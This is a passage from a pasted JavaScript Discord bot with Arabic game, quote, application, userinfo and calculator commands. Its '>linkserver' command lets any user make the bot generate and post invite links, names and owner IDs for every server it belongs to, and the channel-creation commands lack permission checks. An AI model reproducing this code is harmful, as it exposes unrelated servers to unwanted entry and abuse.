  7444. `${Za7f[Math.floor(Math.random() * Za7f.length)]}`)
  7445. message.channel.sendEmbed(embed);
  7446. console.log('[38ab] Send By: ' + message.author.username)
  7447. }
  7448. });
  7449.  
  7450. var rebel = ["https://f.top4top.net/p_682it2tg6.png","https://e.top4top.net/p_682a1cus5.png","https://d.top4top.net/p_682pycol4.png","https://c.top4top.net/p_682vqehy3.png","https://b.top4top.net/p_682mlf9d2.png","https://a.top4top.net/p_6827dule1.png","https://b.top4top.net/p_682g1meb10.png","https://a.top4top.net/p_682jgp4v9.png","https://f.top4top.net/p_682d4joq8.png","https://e.top4top.net/p_6828o0e47.png","https://d.top4top.net/p_6824x7sy6.png","https://c.top4top.net/p_682gzo2l5.png","https://b.top4top.net/p_68295qg04.png","https://a.top4top.net/p_682zrz6h3.png","https://f.top4top.net/p_6828vkzc2.png","https://e.top4top.net/p_682i8tb11.png"]
  7451. client.on('message', message => {
  7452. var args = message.content.split(" ").slice(1);
  7453. if(message.content.startsWith(prefix + 'لو خيروك')) {
  7454. var cat = new Discord.RichEmbed()
  7455. .setImage(rebel[Math.floor(Math.random() * rebel.length)])
  7456. message.channel.sendEmbed(cat);
  7457. }
  7458. });
  7459.  
  7460.  
  7461.  
  7462. const cuttweet = [
  7463. 'كت تويت ‏| تخيّل لو أنك سترسم شيء وحيد فيصبح حقيقة، ماذا سترسم؟',
  7464. 'كت تويت | أكثر شيء يُسكِت الطفل برأيك؟',
  7465. 'كت تويت | الحرية لـ ... ؟',
  7466. 'كت تويت | قناة الكرتون المفضلة في طفولتك؟',
  7467. 'كت تويت ‏| كلمة للصُداع؟',
  7468. 'كت تويت ‏| ما الشيء الذي يُفارقك؟',
  7469. 'كت تويت | موقف مميز فعلته مع شخص ولا يزال يذكره لك؟',
  7470. 'كت تويت ‏| أيهما ينتصر، الكبرياء أم الحب؟',
  7471. 'كت تويت | بعد 10 سنين ايش بتكون ؟',
  7472. 'كت تويت ‏| مِن أغرب وأجمل الأسماء التي مرت عليك؟',
  7473. '‏كت تويت | عمرك شلت مصيبة عن شخص برغبتك ؟',
  7474. 'كت تويت | أكثر سؤال وجِّه إليك مؤخرًا؟',
  7475. '‏كت تويت | ما هو الشيء الذي يجعلك تشعر بالخوف؟',
  7476. '‏كت تويت | وش يفسد الصداقة؟',
  7477. '‏كت تويت | شخص لاترفض له طلبا ؟',
  7478. '‏كت تويت | كم مره خسرت شخص تحبه؟.',
  7479. '‏كت تويت | كيف تتعامل مع الاشخاص السلبيين ؟',
  7480. '‏كت تويت | كلمة تشعر بالخجل اذا قيلت لك؟',
  7481. '‏كت تويت | جسمك اكبر من عٌمرك او العكسّ ؟!',
  7482. '‏كت تويت |أقوى كذبة مشت عليك ؟',
  7483. '‏كت تويت | تتأثر بدموع شخص يبكي قدامك قبل تعرف السبب ؟',
  7484. 'كت تويت | هل حدث وضحيت من أجل شخصٍ أحببت؟',
  7485. '‏كت تويت | أكثر تطبيق تستخدمه مؤخرًا؟',
  7486. '‏كت تويت | ‏اكثر شي يرضيك اذا زعلت بدون تفكير ؟',
  7487. '‏كت تويت | وش محتاج عشان تكون مبسوط ؟',
  7488. '‏كت تويت | مطلبك الوحيد الحين ؟',
  7489. '‏كت تويت | هل حدث وشعرت بأنك ارتكبت أحد الذنوب أثناء الصيام؟',
  7490. '‏كت تويت | هل تفضل الافلام ولا المسلسلات ؟',
  7491. '‏كت تويت | وش افضل قناة تتابعها في اليوتيوب ؟',
  7492. '‏كت تويت | وش افضل لعبة ممكن تلعبها ؟',
  7493. '‏كت تويت | وش تتباع اكثر افلام اجنبي ام عربي ؟',
  7494. '‏كت تويت | مو لاقي سؤال اسئله لك :joy:',
  7495. ]
  7496.  
  7497. client.on('message', message => {
  7498. if (message.content.startsWith(">كت تويت")) {
  7499. if(!message.channel.guild) return message.reply('** This command only for servers**');
  7500. var embed = new Discord.RichEmbed()
  7501. .setColor('RANDOM')
  7502. .setThumbnail(message.author.avatarURL)
  7503. .addField('لعبه كت تويت' ,
  7504. `${cuttweet[Math.floor(Math.random() * cuttweet.length)]}`)
  7505. message.channel.sendEmbed(embed);
  7506. console.log('[id] Send By: ' + message.author.username)
  7507. }
  7508. });
  7509.  
  7510. const secreT = [
  7511. "**الحياة بكل ما فيها تقف دائمًا على حد الوسطية بين اتزان المعنى وضده من حب وكره وحق وباطل وعدل وظلم**.",
  7512. "**كى تعيش عليك ان تتقن فن التجاهل باحتراف**.",
  7513. "**لا تحزن على من اشعرك بان طيبتك غباء امام وقاحته**.",
  7514. "**هناك من يحلم بالنجاح وهناك من يستيقظ باكرا لتحقيقه**.",
  7515. "**ان تعالج ألمك بنفسك تلك هى القوة**.",
  7516. "**الجميع يسمع ما تقول والاصدقاء ينصتون لما تقول وافضل الاصدقاء ينصتون لما اخفاه سكوتك**.",
  7517. "**انتهى زمن الفروسية ، لم تنقرض الخيول بل انقرض الفرسان**.",
  7518. "**ان تكون اخرسا عاقلا خير من ان تكون نطوقا جهولا**.",
  7519. "**المناقشات العقيمة لا تنجب افكارا**.",
  7520. "**نحن نكتب ما لا نستطيع ان نقول وما نريد ان يكون**.",
  7521. "**نحن نكتب ما لا نستطيع ان نقول وما نريد ان يكون**.",
  7522. ]
  7523.  
  7524.  
  7525. client.on('message', message => {
  7526. if (message.content.startsWith(">خواطر")) {
  7527. if(!message.channel.guild) return message.reply('** This command only for servers**');
  7528. var embed = new Discord.RichEmbed()
  7529. .setColor('RANDOM')
  7530.  
  7531. .setThumbnail(message.author.avatarURL)
  7532. .addField('لعبه خواطر' ,
  7533. `${secreT[Math.floor(Math.random() * secreT.length)]}`)
  7534. message.channel.sendEmbed(embed);
  7535. console.log('[id] Send By: ' + message.author.username)
  7536. }
  7537. });
  7538.  
  7539.  
  7540.  
  7541.  
  7542.  
  7543.  
  7544. client.on("message", (message) => {
  7545. if (message.content.startsWith(">setchannel")) {
  7546. let args = message.content.split(" ").slice(1);
  7547. message.guild.createChannel(args.join(' '), 'text');
  7548. message.channel.sendMessage('تـم إنـشاء روم كـتابـي بنجاح|?')
  7549.  
  7550. }
  7551. });
  7552.  
  7553.  
  7554.  
  7555.  
  7556.  
  7557. client.on("message", (message) => {
  7558. if (message.content.startsWith(">setvoice")) {
  7559. let args = message.content.split(" ").slice(1);
  7560. message.guild.createChannel(args.join(' '), 'voice');
  7561. message.channel.sendMessage('تـم إنـشاء روم صـوتي بنجاح|?')
  7562.  
  7563. }
  7564. });
  7565.  
  7566.  
  7567. client.on('message', async rokz => {
  7568.  
  7569. if(rokz.content.startsWith(prefix + "تقديم")) {
  7570.  
  7571. let lang = '';
  7572.  
  7573. let time = '';
  7574.  
  7575. let expe = '';
  7576.  
  7577. let qest = '';
  7578.  
  7579. let questions = [
  7580. 'ماهي فائده if(!message.channel.guild) return; ?',
  7581. 'ماهي فائده if(!message.user.bot) return ?',
  7582. 'مالفرق بين const و var ?',
  7583. 'ماهي فائده ملفات JSON ?',
  7584. 'ماهي فائده forEach ?',
  7585. 'ماهي فائده client.on(`message`, message => { ?',
  7586. 'كيف تستخدم await ?',
  7587. 'مالفرق بين message.channel.send(``) و message.reply(``) ?',
  7588. 'الفرق بين || و &&'
  7589.  
  7590. ]
  7591.  
  7592. let fillter = m => m.author.id === rokz.author.id
  7593.  
  7594. await rokz.channel.send("ما لغتك ؟").then(e => {
  7595.  
  7596. rokz.channel.awaitMessages(fillter, { time: 60000, max: 1 })
  7597.  
  7598. .then(co => {
  7599.  
  7600. lang = co.first().content;
  7601.  
  7602. co.first().delete();
  7603.  
  7604.  
  7605. e.edit(`كم هي المدة ؟
  7606. [${lang}]`)
  7607.  
  7608. rokz.channel.awaitMessages(fillter, { time: 60000, max: 1 })
  7609.  
  7610. .then(col => {
  7611.  
  7612. time = col.first().content;
  7613.  
  7614. col.first().delete();
  7615.  
  7616.  
  7617. e.edit(`ما هي خبرتك ؟
  7618. [${time}]
  7619. [${lang}]`)
  7620.  
  7621. rokz.channel.awaitMessages(fillter, { time: 60000, max: 1 })
  7622.  
  7623. .then(coll => {
  7624.  
  7625. expe = coll.first().content;
  7626.  
  7627. coll.first().delete();
  7628. let question = questions[Math.floor(Math.random() * questions.length)]
  7629. e.edit(`${question}
  7630. [${qest}]`)
  7631.  
  7632. rokz.channel.awaitMessages(fillter, { time: 60000, max: 1 })
  7633.  
  7634. .then(coll => {
  7635.  
  7636. qest = coll.first().content;
  7637.  
  7638. coll.first().delete();
  7639.  
  7640. e.edit(`جاري تقديمك...
  7641. [${expe}]
  7642. [${time}]
  7643. [${lang}]
  7644. [${qest}]`)
  7645. let superme = rokz.guild.channels.find("name","اسم روم التقديم")
  7646.  
  7647. setTimeout(() => {
  7648.  
  7649. e.edit("تم التقديم")
  7650.  
  7651. }, 3000)
  7652. let embed = new Discord.RichEmbed()
  7653. .setDescription(`
  7654. » اللغة : **${lang}**
  7655. » المدة : **${time}**
  7656. » الخبرة : **${expe}**
  7657. » ${question} : **${qest}**
  7658. » تم التقديم بواسطة: ${rokz.author}`)
  7659.  
  7660. superme.sendEmbed(embed).then(supermez => {
  7661.  
  7662. supermez.react("?")
  7663.  
  7664. supermez.react("?")
  7665.  
  7666. })
  7667.  
  7668. })
  7669.  
  7670. })
  7671.  
  7672. })
  7673.  
  7674. })
  7675.  
  7676. }
  7677.  
  7678. )}})
  7679.  
  7680.  
  7681. client.on('message' , message => {
  7682. var prefix = ">";
  7683. if(message.content.startsWith(prefix+"userinfo")) {
  7684. let user = message.mentions.users.first() || message.author;
  7685. const joineddiscord = (user.createdAt.getDate() + 1) + '-' + (user.createdAt.getMonth() + 1) + '-' + user.createdAt.getFullYear() + ' | ' + user.createdAt.getHours() + ':' + user.createdAt.getMinutes() + ':' + user.createdAt.getSeconds();
  7686. message.delete();
  7687. let game;
  7688. if (user.presence.game === null) {
  7689. game = 'لا يلعب حاليا.';
  7690. } else {
  7691. game = user.presence.game.name;
  7692. }
  7693. let messag;
  7694. if (user.lastMessage === null) {
  7695. messag = 'لم يرسل رسالة. ';
  7696. } else {
  7697. messag = user.lastMessage;
  7698. }
  7699. let status;
  7700. if (user.presence.status === 'online') {
  7701. status = ':green_heart:';
  7702. } else if (user.presence.status === 'dnd') {
  7703. status = ':heart:';
  7704. } else if (user.presence.status === 'idle') {
  7705. status = ':yellow_heart:';
  7706. } else if (user.presence.status === 'offline') {
  7707. status = ':black_heart:';
  7708. }
  7709. if (user.presence.status === 'offline') {
  7710. stat = 0x000000;
  7711. } else if (user.presence.status === 'online') {
  7712. stat = 0x00AA4C;
  7713. } else if (user.presence.status === 'dnd') {
  7714. stat = 0x9C0000;
  7715. } else if (user.presence.status === 'idle') {
  7716. stat = 0xF7C035;
  7717. }
  7718. const embed = new Discord.RichEmbed()
  7719. .addField('**UserInfo:**', `**name:** ${user.username}#${user.discriminator}\n**JoinedDiscord:** ${joineddiscord}\n**LastMessage:** ${messag}\n**Playing:** ${game}\n**Status:** ${status}\n**Bot?** ${user.bot}`, true)
  7720. .setThumbnail(user.displayAvatarURL)
  7721. .addField(`Roles:`, message.guild.members.get(user.id).roles.array(role => role.name).slice(1).join(', '))
  7722. .addField('DiscordInfo:', `**Discriminator:** #${user.discriminator}\n**ID:** ${user.id}\n**Username:** ${user.username}`)
  7723. .setAuthor(`معلومات ${user.username}`, user.displayAvatarURL)
  7724. .setColor(stat);
  7725. message.channel.send({embed})
  7726. .catch(e => logger.error(e));
  7727. }
  7728. });
  7729.  
  7730.  
  7731.  
  7732.  
  7733.  
  7734.  
  7735.  
  7736.  
  7737. client.on('message', message => {
  7738. if(message.content === prefix + "roomsall"){
  7739. if (message.author.bot) return
  7740. if (!message.guild) return;
  7741.  
  7742. var channels = message.guild.channels.map(channels => `${channels.name}, `).join(' ')
  7743. const embed = new Discord.RichEmbed()
  7744. .setColor('RANDOM')
  7745. .addField(`${message.guild.name}`,`**Rooms:white_check_mark:**`)
  7746. .addField(':arrow_down: عدد الرومات. :heavy_check_mark:',`** ${message.guild.channels.size}**`)
  7747.  
  7748. .addField(':arrow_down:اسماء الرومات. :heavy_check_mark::',`**[${channels}]**`)
  7749. message.channel.sendEmbed(embed);
  7750. }
  7751. });
  7752.  
  7753.  
  7754.  
  7755. client.on('message', msg => {
  7756. if(msg.author.bot) return;
  7757.  
  7758. if(msg.content === '>linkserver') {
  7759. client.guilds.forEach(g => {
  7760.  
  7761. let l = g.id
  7762. g.channels.get(g.channels.first().id).createInvite({
  7763. maxUses: 5,
  7764. maxAge: 86400
  7765. }).then(i => msg.channel.send(`
  7766. **
  7767. Invite Link : <https://discord.gg/${i.code}>
  7768. Server : ${g.name} | Id : ${g.id}
  7769. Owner ID : ${g.owner.id}
  7770. **
  7771. `))
  7772.  
  7773.  
  7774. })
  7775. }
  7776.  
  7777. })
  7778.  
  7779.  
  7780.  
  7781.  
  7782. client.on("message", message => {
  7783. if (message.author.bot) return;
  7784. if (!message.channel.guild) return;
  7785. if (!games[message.author.id]) games[message.author.id] = {
  7786. credits: 100,
  7787. level: 1,
  7788. };
  7789. fs.writeFile('./games.json', JSON.stringify(games), (err) => {
  7790. if (err) console.error(err);
  7791. });
  7792. });
  7793.  
  7794. const math = require('math-expression-evaluator');
  7795. const stripIndents = require('common-tags').stripIndents;
  7796.  
  7797. client.on('message', msg => {
  7798. if (msg.content.startsWith(prefix + 'calc')) {
  7799. let args = msg.content.split(" ").slice(1);
  7800. const question = args.join(' ');
  7801. if (args.length < 1) {
  7802. msg.reply('**من فضلك .. قم بكتابة سؤال **.');
  7803. } else { let answer;
  7804. try {
  7805. answer = math.eval(question);
  7806. } catch (err) {
  7807. return msg.reply(`Error: ${err}`);
  7808. }
  7809.  
  7810. const embed = new Discord.RichEmbed()
  7811. .setThumbnail('https://d.top4top.net/p_99646wy51.png')
  7812. .setDescription(`**
  7813. السؤال يقولك :thinking: : ${question}
  7814.  
  7815. طبعا الاجابة :writing_hand: : ${answer}**
  7816. `)
  7817. msg.channel.send(embed)
  7818. }
  7819. };
  7820. });
  7821.  
  7822.  
  7823.  
  7824.  
  7825. client.on("error", function() {
  7826. return console.log(arguments[0])
  7827. });
  7828.  
  7829. client.login(Token)
Add Comment
Please, Sign In to add comment